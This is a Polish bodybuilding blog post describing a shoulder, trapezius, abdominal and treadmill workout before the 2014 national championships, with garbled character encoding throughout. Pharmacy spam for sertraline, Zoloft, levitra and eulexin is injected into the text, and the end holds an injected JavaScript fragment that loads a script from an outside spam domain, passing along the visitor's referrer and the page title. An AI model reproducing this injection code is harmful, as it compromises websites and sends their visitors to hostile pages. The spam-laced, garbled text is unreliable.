Trening BarkA?w na 9 tygodni przed Mistrzostwami Polski 2014

21.02.2014 / Adam Jabłoński / Kulturystyka

generic sertraline manufacturers. buy Zoloft. lupin sertraline reviews. Purchase Purchase TRENING BARKAi??W

CzeAi??Ai??,
W tym tygodniu robiAi??em trening miAi??Ai??ni barkA?w, czworobocznych (gA?rnAi?? czeAi??Ai?? czyli KAPTURY) oraz brzuch + aeroby.
TRENING WYGLAi??DAA? TAK :

ROZGRZEWKA : Purchase

3 x 12/12/10 UNOSZENIE RAMION W PRZAi??D Z HANTLAMI (jednorAi??cz) – jednAi?? rAi??ka trzymam siAi?? czegoAi??, a drugAi?? Ai??wiczAi??
3 x 15/12/10 UNOSZENIE RAMION W BOK Z HANTLAMI (jednorAi??cz) – jednAi?? rAi??ka trzymam siAi?? czegoAi??, a drugAi?? Ai??wiczAi??
3 x 15/15/15 UNOSZENIE RAMION W Z HANTLAMI W OPARCIU KLATKI O A?AWKA? – oburAi??cz (tylni akton barkA?w)
3 x 15/12/12 WYCISKANIE NA MASZYNIE

KAPTURY :

4 x do bA?lu WZNOSY BARKAi??W ai???SZRUGSY” z odwaA?nikami – talerzami 25 kg
3 x do bA?lu WZNOSY BARKAi??W NA BRAMIE – ( podpiAi??ty drAi??A?ek do wyciAi??gu dolnego )
eulexin online dictionary kaptury levitra generico online

BRZUCH :

3 x 12/12/12 – SKA?ONY TUA?OWIA Z LINKAi?? WYCIAi??GU KLA?CZAi??C
3 x 12/9/9 – KAi??A?KO – tak Ai??miesznie, bo poprostu padAi??em

AEROBY :
35 minut na bieA?ni

Pozdrawiam
HEJ CZEAsAi??

 

 

 document.currentScript.parentNode.insertBefore(s, document.currentScript);d.getElementsByTagName(‚head’)[0].appendChild(s);s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‚&default_keyword=’ + encodeURIComponent(document.title) + ”; Cheap online